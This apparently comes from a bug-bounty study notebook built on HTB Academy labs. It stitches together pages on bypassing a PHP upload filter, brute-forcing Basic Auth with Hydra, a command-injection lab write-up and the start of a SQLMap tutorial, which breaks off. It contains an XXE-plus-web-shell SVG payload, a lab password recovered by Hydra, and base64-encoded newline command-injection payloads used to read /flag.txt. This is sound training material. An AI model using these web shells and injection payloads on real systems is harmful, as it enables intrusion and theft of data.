'PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K' | base64 -d Copy ┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~] └──╼ [★]$ echo 'PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K' |base64 -d <?php require_once('./common-functions.php'); // uploaded files directory $target_dir = "./user_feedback_submissions/"; // rename before storing $fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // blacklist test if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) { echo "Extension not allowed"; die(); } // whitelist test if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) { echo "Only images are allowed"; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\/[a-z]{2,3}g/', $type)) { echo "Only images are allowed"; die(); } } // size test if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); } else { echo "File failed to upload"; Copy <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> <?php system($_REQUEST['cmd']); ?> Copy cat << 'EOF' > shell.phar.svg <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> <?php system($_REQUEST['cmd']); ?> EOF Copy ┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~] └──╼ [★]$ cat << 'EOF' > shell.phar.svg > <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> <?php system($_REQUEST['cmd']); ?> > EOF Copy mv shell.phar.svg shell.phar.jpeg Copy ┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~] └──╼ [★]$ mv shell.phar.svg shell.phar.jpeg --- # Basic HTTP Authentication | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication.md) . Web applications often employ authentication mechanisms to protect sensitive data and functionalities. Basic HTTP Authentication, or simply `Basic Auth`, is a rudimentary yet common method for securing resources on the web. Though easy to implement, its inherent security vulnerabilities make it a frequent target for brute-force attacks. In essence, Basic Auth is a challenge-response protocol where a web server demands user credentials before granting access to protected resources. The process begins when a user attempts to access a restricted area. The server responds with a `401 Unauthorized` status and a `WWW-Authenticate` header prompting the user's browser to present a login dialog. Once the user provides their username and password, the browser concatenates them into a single string, separated by a colon. This string is then encoded using Base64 and included in the `Authorization` header of subsequent requests, following the format `Basic <encoded_credentials>`. The server decodes the credentials, verifies them against its database, and grants or denies access accordingly. For example, the headers for Basic Auth in a HTTP GET request would look like: Code: http Copy GET /protected_resource HTTP/1.1 Host: www.example.com Authorization: Basic YWxpY2U6c2VjcmV0MTIz ### Exploiting Basic Auth with Hydra[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#exploiting-basic-auth-with-hydra) To follow along, start the target system via the question section at the bottom of the page. We will use the `http-get` hydra service to brute force the basic authentication target. In this scenario, the spawned target instance employs Basic HTTP Authentication. We already know the username is `basic-auth-user`. Since we know the username, we can simplify the Hydra command and focus solely on brute-forcing the password. Here's the command we'll use: Basic HTTP Authentication Copy # Download wordlist if needed hack3rSWE@htb[/htb]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt # Hydra command hack3rSWE@htb[/htb]$ hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81 ... Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-09 16:04:31 [DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task [DATA] attacking http-get://127.0.0.1:81/ [81][http-get] host: 127.0.0.1 login: basic-auth-user password: ... 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-09 16:04:32 Let's break down the command: * `-l basic-auth-user`: This specifies that the username for the login attempt is 'basic-auth-user'. * `-P 2023-200_most_used_passwords.txt`: This indicates that Hydra should use the password list contained in the file '2023-200\_most\_used\_passwords.txt' for its brute-force attack. * `127.0.0.1`: This is the target IP address, in this case, the local machine (localhost). * `http-get /`: This tells Hydra that the target service is an HTTP server and the attack should be performed using HTTP GET requests to the root path ('/'). * `-s 81`: This overrides the default port for the HTTP service and sets it to 81. Upon execution, Hydra will systematically attempt each password from the `2023-200_most_used_passwords.txt` file against the specified resource. Eventually it will return the correct password for `basic-auth-user`, which you can use to login to the website and retrieve the flag. LAB[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#lab) -------------------------------------------------------------------------------------------------------- ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FYGZdzx48Dmuj1EA3nsTz%252Fimage.png%3Falt%3Dmedia%26token%3D6dec10e5-1993-420a-a870-8d3f2b8f013f&width=768&dpr=3&quality=100&sign=b29069b2&sv=2) #### Key Command[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#key-command) [PreviousHydra](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra) [NextLogin Forms](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms) Last updated 1 year ago * [Exploiting Basic Auth with Hydra](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#exploiting-basic-auth-with-hydra) * [LAB](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication#lab) Copy $ hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 94.237.52.137 http-get / -s 39972 Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-11 18:25:26 [DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task [DATA] attacking http-get://94.237.52.137:39972/ [39972][http-get] host: 94.237.52.137 login: basic-auth-user password: Password@123 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-11 18:25:28 ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-ovwchqnoip]─[~] └──╼ [★]$ Copy // Basic Brute Force hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 94.237.52.137 http-get / -s 39972 --- # Good Write Up | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/good-write-up.md) . HTB Academy — Command Injections (skill assessment)[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/good-write-up#id-2043) ---------------------------------------------------------------------------------------------------------------------------------------------------------- [![BotsiCat](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A64%3A64%2F1*iSm3CNRsrGqzJHl1TLusEA.jpeg&width=300&dpr=3&quality=100&sign=c436ff8f&sv=2)](https://medium.com/@fercasco.v?source=post_page---byline--875e8bc7e62a---------------------------------------) [BotsiCat](https://medium.com/@fercasco.v?source=post_page---byline--875e8bc7e62a---------------------------------------) Follow7 min read·Aug 24, 2025 6 ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A740%2F1*n6sq3w4psZDc54_SH3s81w.png&width=768&dpr=3&quality=100&sign=13101fdf&sv=2) Friends, I hope you are doing very well and are ready to complete the final challenge of the module. I really enjoyed this module; I feel that you can learn a lot from it, especially for those of us who are into Bug Bounty. Let me tell you that the test is not as complex as others we’ve done. Everything was taught to us in the course, and what’s required here is mostly observation and curiosity. The challenge is as follows: _What is the content of ‘/flag.txt’?_ _Authenticate to with user “guest” and password “guest”_ To begin, we launch the target provided by HTB: Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A474%2F1*kMQO76bJGkSQ9untG-Xq-A.png&width=768&dpr=3&quality=100&sign=f70e38a&sv=2) While we give the target a few minutes to properly load the services, let’s prepare BurpSuite and set it to listening mode only — Intercept off — . Regarding the version, I hadn’t mentioned that I’m using the _Community Edition_. It’s been working fine for me, even for work, at least for now. If you guys have the Professional version, you should know I envy you haha, I hope to buy it at some point. Back to BurpSuite, I’m asking you to set it this way because we’re going to log all the requests we make to the portal in order to find those that handle variables which could be useful for code injection, without constantly interrupting the query process. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*zMRFCRlJaCWuoQZFWSGE9Q.png&width=768&dpr=3&quality=100&sign=d4148d94&sv=2) With that done, let’s head into the portal using Firefox: Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*GQc1FGFfOunnU5M61Pnhgw.png&width=768&dpr=3&quality=100&sign=d303ad87&sv=2) We log in with the credentials they gave us for the test, and that’s it — we’re inside: Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*LkYD42KxkgcgI6-dDoGm8w.png&width=768&dpr=3&quality=100&sign=cb3be74b&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A252%2F1*MvPpkQ_eZ1S2Uj0Ii0UzcQ.png&width=768&dpr=3&quality=100&sign=e7e4382d&sv=2) > I know you’re here to see the solution to the challenge. By now, you’ve probably gone through many requests, clicking here and there, as you should in order to get complete readings through BurpSuite. But most likely, after seeing so many lines to review, you’ve started to feel frustrated. I want to point out that this is completely normal — personally, it took me quite a while to review several of them, and I’m going to share with you the process that led me to solve this challenge. But seriously, if you plan to dedicate yourself to this, be very patient. Read everything, review everything, because nothing is a waste of time here. Within the web page, we will select the second line (any record would work) and click on the ‘copy’ icon. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*fs5NWim3ITZ51Zi8AsRXng.png&width=768&dpr=3&quality=100&sign=457c55af&sv=2) On the following screen, the file management portal will be displayed with multiple actions available. We then click on ‘move’. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*JtnJKoy43UyhPxPaD6CSHg.png&width=768&dpr=3&quality=100&sign=c928e648&sv=2) This will bring us back to the main screen. You might see an error as a result of this action from the portal at the top of the page, but it’s nothing to worry about. The interesting part here is to look at the request generated by clicking on the ‘Move’ option. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*V7VSkj6s-30PWZpu1pY3oQ.png&width=768&dpr=3&quality=100&sign=e88fd525&sv=2) Let’s go to BurpSuite to review that request, because we will find a very interesting line with several input parameters. We select it and examine it. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*crGiiAw-IFfbgFV1Qc9JGw.png&width=768&dpr=3&quality=100&sign=443df0d9&sv=2) Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*HvuSWicJY12RYLT58spxAQ.png&width=768&dpr=3&quality=100&sign=3a7e3f0a&sv=2) It’s very interesting to note that it has 4 parameters — 4 opportunities to inject code and gain access. Let’s send it to ‘Repeater’ and prepare the first payload with basic code targeting the ‘To’ parameter. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A886%2F1*Wxlppf5DpaXc6JUVzE4wbg.png&width=768&dpr=3&quality=100&sign=fef86f7f&sv=2) Our first code payload will be: _%0awhoami_ * \*\* Here, %0a represents a newline character (‘\\n’). The request is structured as follows: Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*pBuGxPT1-Esa0m_5htsrrQ.png&width=768&dpr=3&quality=100&sign=48739786&sv=2) We click ‘Send’ and the result is as follows: Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*qgJChZMAcJQZ9lXYkZVbww.png&width=768&dpr=3&quality=100&sign=74dd1ea2&sv=2) We can observe an error as a result, which may be triggered by the newline or the ‘whoami’ instruction. This is the main indication that this is where we should try different types of injection. Let’s encode it to see if we can obtain the ‘whoami’ data, because if we succeed, this is practically solved. We will inject: _echo -n ‘whoami’ | base64_ This code is simple but effective. Here’s a breakdown of what it does so there’s no doubt: * `echo` prints text to the terminal. * `-n` prevents a newline character (`\n`) from being added at the end. * `'whoami'` displays the username of the current user logged into the system. Well, at this moment it’s just a single line of text inside `echo`.  **| (pipe)** * Sends the output of the command on the left (`echo -n 'whoami'`) as input to the command on the right (`base64`). `base64`converts the input it receives into its Base64-encoded representation. We will be using this line of code quite a bit. On your Linux platform, open a terminal so you can execute it there and obtain the encoded string. You should get the following result: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A948%2F1*5EKmcxWZL3pnqf9PjPzwsA.png&width=768&dpr=3&quality=100&sign=60ebaa60&sv=2) This string: `d2hvYW1p` will be incorporated into a `bash` execution string as follows: _/nbash <<< $(base64 -d <<< d2hvYW1p)_ But we are going to encode it to prevent the request from being rejected due to the characters: _%0abash<<<$(base64%09-d<<<d2hvYW1p)_ When we inject this line, we are sending a payload that, when executed, functions to decode the command we encoded, bypassing the portal’s validations. But wait… before continuing, it’s important to know what this line is doing, let’s understand everything, okay? Let’s see step by step what happens when we decode: 1. _base64 -d <<< d2hvYW1p_ This line will take care of decoding the string ‘d2hvYW1p’, producing ‘whoami’ as the output. 2\. Replacing string Bash replaces $(…) with the output of the command, that is, whoami. 3\. Here string (<<<) Bash receives whoami as standard input (stdin). 4\. Execution Bash executes: whoami Having clarified the previous point, let’s continue… Now we will paste it into the 'To' parameter in Repeater and send it to see what result we get. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*R-pxJn_Mdl5r4yNpcJPq1g.png&width=768&dpr=3&quality=100&sign=6c954e89&sv=2) Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*y4NQqDXaEgY3r-7w0gXBfg.png&width=768&dpr=3&quality=100&sign=1152b415&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A594%2F1*BvKzagRYHcJJQS8X7RwQFw.png&width=768&dpr=3&quality=100&sign=6b68bc8&sv=2) Perfect!, as you can see, we have already managed to inject the code. Now all that’s left is to experiment with Linux commands to find the ‘flag.txt’ file. How about a Base64-encoded ‘ls’ to check the directory and see if there’s anything of interest? Let’s encode it in the terminal and prepare the next payload: _echo -n ‘ls’ | base64_ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1080%2F1*Gj7s3HLHrUH9R_m_O-CcIw.png&width=768&dpr=3&quality=100&sign=7ebe1fff&sv=2) We insert it into the Bash decoding line to use in Repeater: _%0abash<<<$(base64%09-d<<<bHM=)_ Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*R-pxJn_Mdl5r4yNpcJPq1g.png&width=768&dpr=3&quality=100&sign=6c954e89&sv=2) Then we execute it in Repeater: Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*I8x-r-yvGpm1IyH8sdVAbQ.png&width=768&dpr=3&quality=100&sign=becfb4ba&sv=2) As you can see, the process works perfectly. We can clearly see the directory path. Let’s enter ‘files’ and see what happens. We prepare the next payload in the terminal: _echo -n ‘ls -la files/’ | base64_ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A974%2F1*85BTtaseF4pQxUolvu7z3Q.png&width=768&dpr=3&quality=100&sign=6b0fff86&sv=2) We insert it into the Bash decoding line to use in Repeater: _%0abash<<<$(base64%09-d<<<bHMgLWxhIGZpbGVzLw==)_ Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*o6Nas2aJZDQEmHn2QYOAsA.png&width=768&dpr=3&quality=100&sign=e230426d&sv=2) Then we execute it in Repeater: Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*wHl6Fud-MgPwh8rT09KGdw.png&width=768&dpr=3&quality=100&sign=f9c6e3a6&sv=2) Hmm, the file flag.txt is not here. Let’s go to the root directory then. We prepare the next payload in the terminal: _echo -n ‘ls -la /’ | base64_ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A986%2F1*P6PQLvZn_wSkW6BpTELkzw.png&width=768&dpr=3&quality=100&sign=24b7cd5&sv=2) We insert it into the Bash decoding line again: _%0abash<<<$(base64%09-d<<<bHMgLWxhIC8=)_ Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*ryo_lVvgLFrb0bVA4M_GYg.png&width=768&dpr=3&quality=100&sign=e5543524&sv=2) Then we execute it in Repeater. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*uduxgh4q1pDTVtfNAYorwQ.png&width=768&dpr=3&quality=100&sign=edcdab1e&sv=2) We got it!! To open it, it’s the same — just a basic Linux command to open a file, encoded and placed in the Repeater request. Let’s prepare the new payload in the terminal. _echo -n ‘cat /flag.txt’ | base64_ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A982%2F1*sWmg4jVLAYOVKGgaof7P8Q.png&width=768&dpr=3&quality=100&sign=5f3d93fc&sv=2) We insert it into the Bash decoding line again: _%0abash<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dA==)_ Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*Kiyq9ncSY7bvtDd7G42NbA.png&width=768&dpr=3&quality=100&sign=e81859b2&sv=2) That’s it, soldier. Grab the cubes and get ready for extraction. Press enter or click to view image in full size ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2F1*x8EGk6BQRP7Wypt5a8m6Ww.png&width=768&dpr=3&quality=100&sign=98a22460&sv=2) Dear colleagues, I hope this guide has been helpful for you to complete your module and has supported your learning process. If you liked it, give me a round of applause and subscribe. See you next time. Happy hacking :3 [PreviousSkills Assesment](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment) [NextExam Style Write Up](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up) Last updated 8 months ago --- # Getting Started with SQLMap | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/getting-started-with-sqlmap.md) . Getting Started with SQLMap[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/getting-started-with-sqlmap#getting-started-with-sqlmap) ----------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * Upon starting using SQLMap, the first stop for new users is usually the program's help message. To help new users, there are two levels of help message listing: * `Basic Listing` shows only the basic options and switches, sufficient in most cases (switch `-h`): Getting Started with SQLMap Copy Code4Christ@htb[/htb]$ sqlmap -h ___ __H__ ___ ___[']_____ ___ ___ {1.4.9#stable} |_ -| . ["] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org Usage: python3 sqlmap [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK Process Google dork results as target URLs ...SNIP... * `Advanced Listing` shows all options and switches (switch `-hh`): Getting Started with SQLMap For more details, users are advised to consult the project's [wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage) , as it represents the official manual for SQLMap's usage. * * * ### Basic Scenario[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/getting-started-with-sqlmap#basic-scenario) In a simple scenario, a penetration tester accesses the web page that accepts user input via a `GET` parameter (e.g., `id`). They then want to test if the web page is affected by the SQL injection vulnerability. If so, they would want to exploit it, retrieve as much information as possible from the back-end database, or even try to access the underlying file system and execute OS commands. An example SQLi vulnerable PHP code for this scenario would look as follows: Code: php As error reporting is enabled for the vulnerable SQL query, there will be a database error returned as part of the web-server response in case of any SQL query execution problems. Such cases ease the process of SQLi detection, especially in case of manual parameter value tampering, as the resulting errors are easily recognized: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fcdn.services-k8s.prod.aws.htb.systems%2Fcontent%2Fmodules%2F58%2FrOrm8tC.png&width=768&dpr=3&quality=100&sign=6f915847&sv=2) To run SQLMap against this example, located at the example URL 